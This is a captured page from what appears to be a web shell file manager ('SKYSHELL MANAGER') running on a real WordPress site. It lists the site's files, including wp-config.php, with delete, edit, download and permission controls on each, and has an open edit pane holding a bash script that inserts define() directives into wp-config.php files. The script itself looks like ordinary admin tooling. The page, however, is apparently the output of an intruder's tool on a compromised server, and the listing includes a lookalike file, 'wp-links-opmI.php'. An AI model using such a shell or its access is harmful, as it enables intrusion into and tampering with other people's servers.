📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
home
/
firadelllibrepro
/
alsahwanet.net
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bak.20250916123008
0.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cp_errordocument.shtml
10.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.181cd17672105da14ef50304b037da0e.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.2 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt.bak
0.05 KB
0664
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opmI.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: update-wp-fsmethod.sh
#!/bin/bash # update-wp-fsmethod.sh # Insert one or more define() directives immediately ABOVE: # /* That's all, stop editing! Happy publishing. */ # in wp-config.php files under /home/<ACCOUNT>/<domain> and /home/<ACCOUNT>/<domain>/public_html # Also checks addon layout: /home/<ACCOUNT>/public_html/<domain>/wp-config.php # Skips /home/virtfs, makes backups, supports dry-run, and avoids duplicates. #Test on one domain code # sudo ./update-wp-fsmethod.sh -a mrkooora -d informalisimo.com -n \ # -D "define('DISALLOW_FILE_EDIT', true);" \ # -D "define('AUTOMATIC_UPDATER_DISABLED', true);" set -Euo pipefail shopt -s nullglob export LC_ALL=C LANG=C usage() { cat <<'USAGE' Usage: sudo ./update-wp-fsmethod.sh --account <cpanel_account> [--domain <domain_or_full_path>] \ [--define "define('FOO','bar');"]... [--defines-file /path/to/defines.txt] [--dry-run] Options: -a, --account (required) cPanel account under /home -d, --domain domain folder name (e.g. example.com) OR full path (/home/acct/example.com) -D, --define a single define() directive (may be passed multiple times) Example: --define "define('DISALLOW_FILE_EDIT', true);" -F, --defines-file file with one define() per line; blank lines/#comments ignored -n, --dry-run show what would change; do not write -h, --help show help Notes: • Directives are inserted directly above the "stop editing" sentinel (case-insensitive). • If sentinel not found: inserted above closing '?>' if present, else appended to EOF (with a note). • Identical define() lines already present are NOT duplicated. • Backup created as: wp-config.php.bak.YYYYmmddHHMMSS Examples: # Single site, add two defines (dry run) sudo ./update-wp-fsmethod.sh -a mrkooora -d informalisimo.com -n \ -D "define('DISALLOW_FILE_EDIT', true);" \ -D "define('AUTOMATIC_UPDATER_DISABLED', true);" # Apply to ALL domains under an account (live), definitions from a file sudo ./update-wp-fsmethod.sh -a mrkooora -F /root/defines.txt # Target a specific site by full path sudo ./update-wp-fsmethod.sh -a mrkooora -d /home/mrkooora/919s.net \ -D "define('FS_METHOD','direct');" USAGE } ACCOUNT=""; DOMAIN="" DRYRUN=0 declare -a DEFINES DEFINES_FILE="" while [[ $# -gt 0 ]]; do case "$1" in -a|--account) ACCOUNT="${2:-}"; shift 2;; -d|--domain) DOMAIN="${2:-}"; shift 2;; -D|--define) DEFINES+=("${2:-}"); shift 2;; -F|--defines-file) DEFINES_FILE="${2:-}"; shift 2;; -n|--dry-run|--dryrun) DRYRUN=1; shift;; -h|--help) usage; exit 0;; *) echo "[ERR] Unknown option: $1" >&2; usage; exit 1;; esac done [[ -n "$ACCOUNT" ]] || { echo "[ERR] --account is required"; usage; exit 1; } ACCOUNT_DIR="/home/$ACCOUNT" [[ -d "$ACCOUNT_DIR" ]] || { echo "[ERR] Not found: $ACCOUNT_DIR"; exit 1; } # Load defines from file if provided if [[ -n "$DEFINES_FILE" ]]; then if [[ ! -f "$DEFINES_FILE" ]]; then echo "[ERR] Defines file not found: $DEFINES_FILE" >&2; exit 1 fi while IFS= read -r line || [[ -n "$line" ]]; do # Trim spaces line="${line#"${line%%[![:space:]]*}"}" line="${line%"${line##*[![:space:]]}"}" # Skip blanks and comments [[ -z "$line" || "$line" =~ ^# ]] && continue DEFINES+=("$line") done < "$DEFINES_FILE" fi # Ensure we have at least one define if [[ ${#DEFINES[@]} -eq 0 ]]; then echo "[ERR] Provide at least one --define or --defines-file." >&2 exit 1 fi # Normalize: ensure each define ends with semicolon for i in "${!DEFINES[@]}"; do d="${DEFINES[$i]}" # strip trailing spaces d="${d%"${d##*[![:space:]]}"}" [[ "$d" =~ ;[[:space:]]*$ ]] || d="${d};" DEFINES[$i]="$d" done # Helper: case-insensitive regex for the sentinel # We'll match "stop editing" ... "happy publishing" SENTINEL_RE="^[[:space:]]*/\*[[:space:]]*That'?s all, stop editing! Happy publishing\.[[:space:]]*\*/[[:space:]]*$" # more flexible: ignore case and extra spaces using awk's tolower() # (we'll detect via awk and get the line number) # Build roots declare -a roots=() if [[ -n "$DOMAIN" ]]; then if [[ "$DOMAIN" == /* ]]; then [[ -d "$DOMAIN" ]] || { echo "[ERR] Domain path not found: $DOMAIN"; exit 1; } roots+=("$DOMAIN") else [[ -d "$ACCOUNT_DIR/$DOMAIN" ]] && roots+=("$ACCOUNT_DIR/$DOMAIN") [[ -d "$ACCOUNT_DIR/$DOMAIN/public_html" ]] && roots+=("$ACCOUNT_DIR/$DOMAIN/public_html") [[ -d "$ACCOUNT_DIR/public_html/$DOMAIN" ]] && roots+=("$ACCOUNT_DIR/public_html/$DOMAIN") if [[ ${#roots[@]} -eq 0 ]]; then # Shallow auto-discovery mapfile -t found < <(find "$ACCOUNT_DIR" -maxdepth 4 -type f -name wp-config.php -path "*/$DOMAIN/*" -printf '%h\n' 2>/dev/null | sort -u) if [[ ${#found[@]} -gt 0 ]]; then echo "[INFO] Auto-discovered candidate roots for '$DOMAIN':"; printf ' - %s\n' "${found[@]}" roots+=("${found[@]}") else echo "[ERR] Could not locate a folder for domain under $ACCOUNT_DIR: $DOMAIN" >&2 exit 1 fi fi fi else for d in "$ACCOUNT_DIR"/*; do # Skip virtfs explicitly [[ "$d" == /home/virtfs* ]] && continue [[ -d "$d" ]] && roots+=("$d") done fi # Collect targets (wp-config.php at root and direct public_html) declare -a targets=() for root in "${roots[@]}"; do # Skip virtfs [[ "$root" == /home/virtfs* ]] && continue [[ -f "$root/wp-config.php" ]] && targets+=("$root/wp-config.php") base="$(basename "$root")" if [[ "$base" != "public_html" ]] && [[ -f "$root/public_html/wp-config.php" ]]; then targets+=("$root/public_html/wp-config.php") fi done # de-dupe if [[ ${#targets[@]} -gt 0 ]]; then mapfile -t targets < <(printf "%s\n" "${targets[@]}" | awk '!seen[$0]++') fi [[ ${#targets[@]} -gt 0 ]] || { echo "[INFO] No wp-config.php files found to inspect."; exit 0; } echo "[INFO] Found ${#targets[@]} wp-config.php file(s) to inspect." TS="$(date +%Y%m%d%H%M%S)" checked=0 changed=0 skipped=0 errors=0 for f in "${targets[@]}"; do ((checked++)) echo "----" echo "[INFO] Inspecting: $f" [[ -L "$f" ]] && echo "[INFO] Note: symlink -> $(readlink -f "$f")" if [[ ! -w "$f" && $DRYRUN -eq 0 ]]; then echo "[ERR] Not writable. Owner=$(stat -c '%U:%G' "$f" 2>/dev/null || echo '?') Perms=$(stat -c '%a' "$f" 2>/dev/null || echo '?')" ((errors++)); continue fi # Get line number of sentinel (case-insensitive, ignoring whitespace variance) read -r sent_lnum has_php_close <<<"$( awk ' BEGIN{ ln=0; hasphp=0; } { low=$0; gsub(/\t/," ",low); low=tolower(low); if (match(low, /^[[:space:]]*\/\*[[:space:]]*that'"'"'s all, stop editing! happy publishing\.[[:space:]]*\*\/[[:space:]]*$/)) { if (ln==0) ln=NR; } if ($0 ~ /\?>[[:space:]]*$/) { hasphp=NR; } } END{ print ln, hasphp } ' "$f" )" # Build block to insert: only lines not already present to_add=() for d in "${DEFINES[@]}"; do if grep -Fqx -- "$d" "$f"; then echo "[SKIP] Already present -> $d" continue fi to_add+=("$d") done if [[ ${#to_add[@]} -eq 0 ]]; then echo "[SKIP] All requested define() lines already exist." ((skipped++)); continue fi if [[ $DRYRUN -eq 1 ]]; then if [[ -n "${sent_lnum:-}" && "$sent_lnum" -gt 0 ]]; then echo "[DRYRUN] Would insert ABOVE sentinel at line $sent_lnum:" elif [[ -n "${has_php_close:-}" && "$has_php_close" -gt 0 ]]; then echo "[DRYRUN] Sentinel not found; would insert ABOVE closing '?>' at line $has_php_close:" else echo "[DRYRUN] Sentinel and closing tag not found; would APPEND at EOF:" fi printf ' %s\n' "${to_add[@]}" continue fi # Do the write: backup then insert cp -a "$f" "$f.bak.$TS" tmp="$f.__tmp__.$$" if [[ -n "${sent_lnum:-}" && "$sent_lnum" -gt 0 ]]; then # Insert above sentinel awk -v insert_ln="$sent_lnum" -v blk="$(printf '%s\n' "${to_add[@]}")" ' NR==insert_ln { print blk; print; next } { print } ' "$f" > "$tmp" || { echo "[ERR] AWK insert failed."; rm -f "$tmp"; ((errors++)); continue; } elif [[ -n "${has_php_close:-}" && "$has_php_close" -gt 0 ]]; then # Insert above closing ?> awk -v insert_ln="$has_php_close" -v blk="$(printf '%s\n' "${to_add[@]}")" ' NR==insert_ln { print blk; print; next } { print } ' "$f" > "$tmp" || { echo "[ERR] AWK insert failed."; rm -f "$tmp"; ((errors++)); continue; } else # Append at EOF (no sentinel, no closing tag) { cat "$f"; printf '\n/* inserted by update-wp-fsmethod.sh */\n%s\n' "$(printf '%s\n' "${to_add[@]}")"; } > "$tmp" \ || { echo "[ERR] Append failed."; rm -f "$tmp"; ((errors++)); continue; } fi mv "$tmp" "$f" && { echo "[OK] Updated (backup: $f.bak.$TS)"; ((changed++)); } \ || { echo "[ERR] Failed to finalize update."; rm -f "$tmp"; ((errors++)); } done echo "================ SUMMARY ================" echo "Checked : $checked" echo "Changed : $changed" echo "Skipped : $skipped" echo "Errors : $errors" [[ $DRYRUN -eq 1 ]] && echo "[NOTE] Dry run only; no files were changed." exit $((errors > 0 ? 1 : 0))
Save